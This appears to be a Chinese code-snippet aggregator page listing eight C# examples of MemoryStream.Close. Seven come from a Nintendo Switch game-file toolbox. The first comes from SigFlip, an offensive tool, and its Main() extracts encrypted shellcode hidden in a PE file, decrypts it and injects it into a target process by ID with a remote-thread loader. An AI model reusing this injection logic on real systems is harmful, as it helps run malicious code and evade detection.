C# MemoryStream.Close的代码示例
通过代码示例来学习C# MemoryStream.Close方法
通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。
MemoryStream.Close是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的MemoryStream.Close() 已经帮大家高亮显示了,大家可以重点学习MemoryStream.Close() 方法的写法,从而快速掌握该方法的应用。
MemoryStream.Close的代码示例1 - Main()
using System.IO; public static void Main(string[] args) { ArgumentParser _parser = new ArgumentParser(args); if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") { Help(); } if (_parser.GetOrDefault("f", "null") != "null") { _pePath = _parser.GetOrDefault("f", "null"); _encKey = _parser.GetOrDefault("e", "null"); _pid = _parser.GetOrDefault("pid", "null"); if (_pePath == "null") Help(); if (_pid == "null") Help(); } else { Help(); } if (!File.Exists(_pePath)) Help(); Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath); Console.WriteLine(); byte[] _peBlob = Utils.Read(_pePath); int _dataOffset = Utils.scanPattern(_peBlob, _tag); Console.WriteLine("[+]:Scanning for Shellcode..."); if ( _dataOffset == -1) { Console.WriteLine("Could not locate data or shellcode"); Environment.Exit(0); } Stream stream = new MemoryStream(_peBlob); long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin); Console.WriteLine("[+]: Shellcode located at {0:x2}", pos); byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)]; stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length)); byte[] _data = Utils.Decrypt(shellcode, _encKey); stream.Close(); //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader. //CreateThread //ExecShellcode(_data); //CreateRemoteThread Loader.rexec(Convert.ToInt32(_pid), _data); }
开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs
在Main()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例2 - CreateNewBFRESSwitch()
using System.IO; private static byte[] CreateNewBFRESSwitch(string Name) { MemoryStream mem = new MemoryStream(); ResFile resFile = new ResFile(); resFile.Name = Name; resFile.Save(mem); var data = mem.ToArray(); mem.Close(); mem.Dispose(); return data; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:16,代码来源:BFRES.cs
在CreateNewBFRESSwitch()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例3 - CreateNewBNTX()
using System.IO; public static byte[] CreateNewBNTX(string Name) { MemoryStream mem = new MemoryStream(); BntxFile bntx = new BntxFile(); bntx.Target = new char[] { 'N', 'X', ' ', ' ' }; bntx.Name = Name; bntx.Alignment = 0xC; bntx.TargetAddressSize = 0x40; bntx.VersionMajor = 0; bntx.VersionMajor2 = 4; bntx.VersionMinor = 0; bntx.VersionMinor2 = 0; bntx.Textures = new List
(); bntx.TextureDict = new ResDict(); bntx.RelocationTable = new RelocationTable(); bntx.Flag = 0; bntx.Save(mem); var data = mem.ToArray(); mem.Close(); mem.Dispose(); return data; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:26,代码来源:BNTX.cs
在CreateNewBNTX()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例4 - ReloadEncoding()
using System.IO; public void ReloadEncoding(Encoding encoding) { BymlFileData.Encoding = encoding; //Reopen and reload the byml data if (IFileInfo.ArchiveParent != null) { foreach (var file in IFileInfo.ArchiveParent.Files) { var name = Path.GetFileName(file.FileName); if (name == FileName) BymlData = ByamlFile.LoadN(new MemoryStream(file.FileData)); } } else if (File.Exists(FilePath)) { var file = File.OpenRead(FilePath); BymlData = ByamlFile.LoadN(file); file.Close(); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:22,代码来源:BYAML.cs
在ReloadEncoding()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例5 - ReadShaderParams()
public static void ReadShaderParams(this FMAT m, Material mat) { m.matparam.Clear(); if (mat.ShaderParamData == null) return; using (FileReader reader = new FileReader(new System.IO.MemoryStream(mat.ShaderParamData))) { reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian; foreach (ShaderParam param in mat.ShaderParams) { BfresShaderParam shaderParam = new BfresShaderParam(); shaderParam.Type = param.Type; shaderParam.Name = param.Name; shaderParam.DependedIndex = param.DependedIndex; shaderParam.DependIndex = param.DependIndex; reader.Seek(param.DataOffset, System.IO.SeekOrigin.Begin); shaderParam.ReadValue(reader, (int)param.DataSize); m.matparam.Add(param.Name, shaderParam); } reader.Close(); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:26,代码来源:BfresSwitch.cs
在ReadShaderParams()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例6 - CreateNewBFRES()
using System.IO; public static byte[] CreateNewBFRES(string Name) { MemoryStream mem = new MemoryStream(); ResFile resFile = new ResFile(); resFile.Name = Name; resFile.Save(mem); var data = mem.ToArray(); mem.Close(); mem.Dispose(); return data; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:15,代码来源:BfresWiiU.cs
在CreateNewBFRES()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例7 - InflateZLIB()
using System.IO; public static byte[] InflateZLIB(byte[] i) { var stream = new MemoryStream(); var ms = new MemoryStream(i); ms.ReadByte(); ms.ReadByte(); var zlibStream = new DeflateStream(ms, CompressionMode.Decompress); byte[] buffer = new byte[4095]; while (true) { int size = zlibStream.Read(buffer, 0, buffer.Length); if (size > 0) stream.Write(buffer, 0, buffer.Length); else break; } zlibStream.Close(); return stream.ToArray(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:20,代码来源:FileReader.cs
在InflateZLIB()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Close的代码示例8 - SaveFileFormat()
using System.IO; ///
/// Saves the /// The format instance of the file being saved /// The name of the file /// The Alignment used for compression. Used for Yaz0 compression type. /// Toggle for showing compression dialog ///as a file from the given /// public static void SaveFileFormat(IFileFormat FileFormat, string FileName, bool EnableDialog = true, string DetailsLog = "") { //These always get created on loading a file,however not on creating a new file if (FileFormat.IFileInfo == null) throw new System.NotImplementedException("Make sure to impliment a IFileInfo instance if a format is being created!"); Cursor.Current = Cursors.WaitCursor; FileFormat.FilePath = FileName; string compressionLog = ""; if (FileFormat.IFileInfo.FileIsCompressed || FileFormat.IFileInfo.InArchive || Path.GetExtension(FileName) == ".szs" || Path.GetExtension(FileName) == ".sbfres" || Path.GetExtension(FileName) == ".mc") { //Todo find more optmial way to handle memory with files in archives //Also make compression require streams var mem = new System.IO.MemoryStream(); FileFormat.Save(mem); mem = new System.IO.MemoryStream(mem.ToArray()); FileFormat.IFileInfo.DecompressedSize = (uint)mem.Length; var finalStream = CompressFileFormat( FileFormat.IFileInfo.FileCompression, mem, FileFormat.IFileInfo.FileIsCompressed, FileFormat.IFileInfo.Alignment, FileName, EnableDialog); compressionLog = finalStream.Item2; Stream compressionStream = finalStream.Item1; FileFormat.IFileInfo.CompressedSize = (uint)compressionStream.Length; compressionStream.ExportToFile(FileName); DetailsLog += "\n" + SatisfyFileTables(FileFormat, FileName, compressionStream, FileFormat.IFileInfo.DecompressedSize, FileFormat.IFileInfo.CompressedSize, FileFormat.IFileInfo.FileIsCompressed); compressionStream.Flush(); compressionStream.Close(); } else { //Check if a stream is active and the file is beinng saved to the same opened file if (FileFormat is ISaveOpenedFileStream && FileFormat.FilePath == FileName && File.Exists(FileName)) { string savedPath = Path.GetDirectoryName(FileName); string tempPath = Path.Combine(savedPath, "tempST.bin"); //Save a temporary file first to not disturb the opened file using (var fileStream = new FileStream(tempPath, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite)) { FileFormat.Save(fileStream); FileFormat.Unload(); //After saving is done remove the existing file File.Delete(FileName); //Now move and rename our temp file to the new file path File.Move(tempPath, FileName); FileFormat.Load(File.OpenRead(FileName)); var activeForm = LibraryGUI.GetActiveForm(); if (activeForm != null && activeForm is ObjectEditor) ((ObjectEditor)activeForm).ReloadArchiveFile(FileFormat); } } else { using (var fileStream = new FileStream(FileName, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite)) { FileFormat.Save(fileStream); } } } if (EnableDialog) { if (compressionLog != string.Empty) MessageBox.Show($"File has been saved to {FileName}. Compressed time: {compressionLog}", "Save Notification"); else MessageBox.Show($"File has been saved to {FileName}", "Save Notification"); } // STSaveLogDialog.Show($"File has been saved to {FileName}", "Save Notification", DetailsLog); Cursor.Current = Cursors.Default; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:100,代码来源:STFileSaver.cs
在SaveFileFormat()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
本文中的MemoryStream.Close方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。